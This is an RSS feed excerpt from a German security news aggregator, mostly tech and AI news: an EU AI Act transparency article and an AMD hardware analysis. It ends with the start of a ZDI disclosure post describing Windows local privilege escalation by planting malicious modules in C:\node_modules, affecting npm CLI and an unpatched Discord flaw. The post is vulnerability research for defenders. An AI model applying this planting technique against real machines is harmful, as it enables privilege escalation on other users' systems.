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<title><![CDATA[The Best Backpacking Sleeping Pads, Tested on the Trail (2026)]]></title>
<description><![CDATA[Our top-pick sleeping pads from Nemo, Therm-a-Rest, and Gossamer Gear use high-tech materials to engineer the best sleep you can get outdoors.]]></description>
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<pubDate>Sun, 26 Jul 2026 13:15:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
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<content:encoded><![CDATA[Our top-pick sleeping pads from Nemo, Therm-a-Rest, and Gossamer Gear use high-tech materials to engineer the best sleep you can get outdoors.]]></content:encoded>
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<title><![CDATA[I’m Hot for De’Longhi’s New Automatic Espresso Machine That Also Does Cold Brew]]></title>
<description><![CDATA[A new $1,000 automatic espresso machine lets you choose from 20 preset hot and iced coffee recipes. Is it worth it?]]></description>
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<pubDate>Sun, 26 Jul 2026 12:30:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
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<content:encoded><![CDATA[A new $1,000 automatic espresso machine lets you choose from 20 preset hot and iced coffee recipes. Is it worth it?]]></content:encoded>
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<title><![CDATA[FAIRChem v2 UMA for Multidomain Atomistic Simulation across Molecules, Catalysts, Materials, Vibrations, and Molecular Dynamics]]></title>
<description><![CDATA[In this tutorial, we explore FAIRChem v2 and the UMA universal machine-learning interatomic potential as a unified framework for atomistic simulation across molecular chemistry, catalysis, and inorganic materials. We configure an environment, authenticate with Hugging Face to access the gated UMA...]]></description>
<link>https://tsecurity.de/de/3695386/ai-nachrichten/fairchem-v2-uma-for-multidomain-atomistic-simulation-across-molecules-catalysts-materials-vibrations-and-molecular-dynamics/</link>
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<pubDate>Sun, 26 Jul 2026 10:53:59 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this tutorial, we explore FAIRChem v2 and the UMA universal machine-learning interatomic potential as a unified framework for atomistic simulation across molecular chemistry, catalysis, and inorganic materials. We configure an environment, authenticate with Hugging Face to access the gated UMA model weights, and initialize task-specific calculators for the omol, oc20, and omat domains. We […]</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/26/fairchem-v2-uma-for-multidomain-atomistic-simulation-across-molecules-catalysts-materials-vibrations-and-molecular-dynamics/">FAIRChem v2 UMA for Multidomain Atomistic Simulation across Molecules, Catalysts, Materials, Vibrations, and Molecular Dynamics</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[Die Super Steam Machine ist da: Doppelt so teuer, doppelt so gut?]]></title>
<description><![CDATA[Valve hat die Steam Machine veröffentlicht. Ein PC-Spieler legt mit der Super Steam Machine nach.]]></description>
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<pubDate>Sun, 26 Jul 2026 06:30:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Valve hat die Steam Machine veröffentlicht. Ein PC-Spieler legt mit der Super Steam Machine nach.]]></content:encoded>
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<title><![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]></title>
<description><![CDATA[Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’...]]></description>
<link>https://tsecurity.de/de/3694779/ai-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</link>
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<pubDate>Sat, 25 Jul 2026 19:50:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.</p>



<p class="wp-block-paragraph">To assist in the effort, the European Commission (Commission) has published <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1653" target="_blank" rel="noreferrer noopener">guidelines</a> to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.</p>



<p class="wp-block-paragraph">After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”</p>



<p class="wp-block-paragraph"><a href="https://commission.europa.eu/about/organisation/college-commissioners/henna-virkkunen_en" target="_blank" rel="noreferrer noopener">Henna Virkkunen</a>, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”</p>



<p class="wp-block-paragraph">Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.</p>



<p class="wp-block-paragraph">“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”</p>



<p class="wp-block-paragraph">A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.</p>



<h2 class="wp-block-heading">Transparency requirements</h2>



<p class="wp-block-paragraph">The <a href="https://www.cio.com/article/2096040/what-it-leaders-need-to-know-about-the-eu-ai-act.html" target="_blank">EU AI Act’s</a> transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.</p>



<p class="wp-block-paragraph">“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.</p>



<p class="wp-block-paragraph">Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.</p>



<p class="wp-block-paragraph">Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.</p>



<p class="wp-block-paragraph">AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.</p>



<p class="wp-block-paragraph">The three icons are publicly available for free use; enterprises can download zip files in <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129547" target="_blank" rel="noreferrer noopener">PNG</a> and <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129546" target="_blank" rel="noreferrer noopener">SVG</a> formats.</p>



<p class="wp-block-paragraph">Most of the <a href="https://www.cio.com/article/4032894/analysis-of-the-european-ai-regulation-one-year-after-its-entry-into-force.html" target="_blank">Act’s transparency rules</a> begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.</p>



<p class="wp-block-paragraph">However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”</p>



<h2 class="wp-block-heading">A consistent code of practice</h2>



<p class="wp-block-paragraph">Along with the transparency guidelines, the Commission has introduced a <a href="https://digital-strategy.ec.europa.eu/en/policies/code-practice-ai-generated-content" target="_blank" rel="noreferrer noopener">code of practice</a> that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">AI Act</a>, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.</p>



<p class="wp-block-paragraph">Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.</p>



<p class="wp-block-paragraph">Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.</p>



<h2 class="wp-block-heading">Criteria for compliance </h2>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.</p>



<p class="wp-block-paragraph">B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.</p>



<p class="wp-block-paragraph">Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.</p>



<p class="wp-block-paragraph">“This is a good move for <a href="https://www.computerworld.com/article/4164963/eu-lawmakers-fail-to-agree-on-watered-down-ai-act-talks-pushed-to-may.html" target="_blank">guardrails</a> around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.</p>



<h2 class="wp-block-heading">Creating a transparency pipeline</h2>



<p class="wp-block-paragraph">Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.</p>



<p class="wp-block-paragraph">Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.</p>



<p class="wp-block-paragraph">The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed <a href="https://www.reuters.com/business/meta-ai-image-detector-fails-identify-some-its-own-cropped-ai-images-reuters-2026-07-10/" target="_blank" rel="noreferrer noopener">55% of cropped images</a>.</p>



<p class="wp-block-paragraph">“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.</p>



<p class="wp-block-paragraph">Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”</p>



<p class="wp-block-paragraph">Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.</p>



<p class="wp-block-paragraph">His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.</p>



<p class="wp-block-paragraph">Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.</p>



<p class="wp-block-paragraph">To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.</p>



<p class="wp-block-paragraph">“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4199109/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready.html" target="_blank">CIO.com</a>.</em></p>
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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
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<pubDate>Sat, 25 Jul 2026 19:50:07 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Protecting education: How MDR can tip the balance in favor of schools]]></title>
<description><![CDATA[The education sector is notoriously short on cash, but rich in assets for threat actors to target. How can managed detection and response (MDR) help learning institutions regain the initiative?]]></description>
<link>https://tsecurity.de/de/3694654/malware-trojaner-viren/protecting-education-how-mdr-can-tip-the-balance-in-favor-of-schools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694654/malware-trojaner-viren/protecting-education-how-mdr-can-tip-the-balance-in-favor-of-schools/</guid>
<pubDate>Sat, 25 Jul 2026 19:04:38 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The education sector is notoriously short on cash, but rich in assets for threat actors to target. How can managed detection and response (MDR) help learning institutions regain the initiative?]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js Trust Falls: Dangerous Module Resolution on Windows]]></title>
<description><![CDATA[In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the...]]></description>
<link>https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:58 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting <a href="https://docs.npmjs.com/cli/v11">npm CLI</a> that revealed a fundamental design issue in <a href="https://nodejs.org/en">Node.js</a>. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.</p>





















  
  



<p>The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in <code>C:\node_modules</code> as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.</p>




  <p class="">This issue is not new. Concerned discussions about Node.js's module search path behavior date back to <a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ">2013</a> and <a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">2014</a>.</p><p class="">Node.js has explicitly <a href="https://github.com/nodejs/node/security/policy#uncontrolled-search-path-element-cwe-427">stated</a> that they consider this behavior intentional: </p><p class="">"Node.js trusts the file system." </p><p class="">They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers. </p>





















  
  














































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true"><em>Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  





  <p class="">As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.</p><p class=""><strong>Root Cause</strong></p><p class="">The root cause lies in the way Node.js performs module resolution. This is documented <a href="https://nodejs.org/api/modules.html#loading-from-node-modules-folders">here.</a> Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.</p>





















  
  



<p>When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:  </p>
<ol>
<li>   C:\Users\Administrator\projects\node_modules\bar.js</li>
<li>   C:\Users\Administrator\node_modules\bar.js</li>
<li>   C:\Users\node_modules\bar.js</li>
<li>   C:\node_modules\bar.js              &lt;-- The problem</li>
</ol>
<p>If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create <code>C:\node_modules</code> and place a malicious package there. Once the low-privileged user has populated <code>C:\node_modules\bar.js</code>, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">guidelines</a>, third-party dependencies end up triggering this vulnerability anytime you launch the application.   </p>
<p><b data-preserve-html-node="true">Case Studies: Real-World Manifestations</b>  </p>
<p>The Optional Dependency Pattern:
npm supports optional dependencies to be specified in the project’s package.json file. The <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">recommended pattern</a> for checking for these dependencies is as follows:</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png" data-image-dimensions="1051x756" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w" width="1051" height="756" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
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            <p data-rte-preserve-empty="true"><em>Figure 2: npm Docs showing optionalDependencies example code      </em></p>
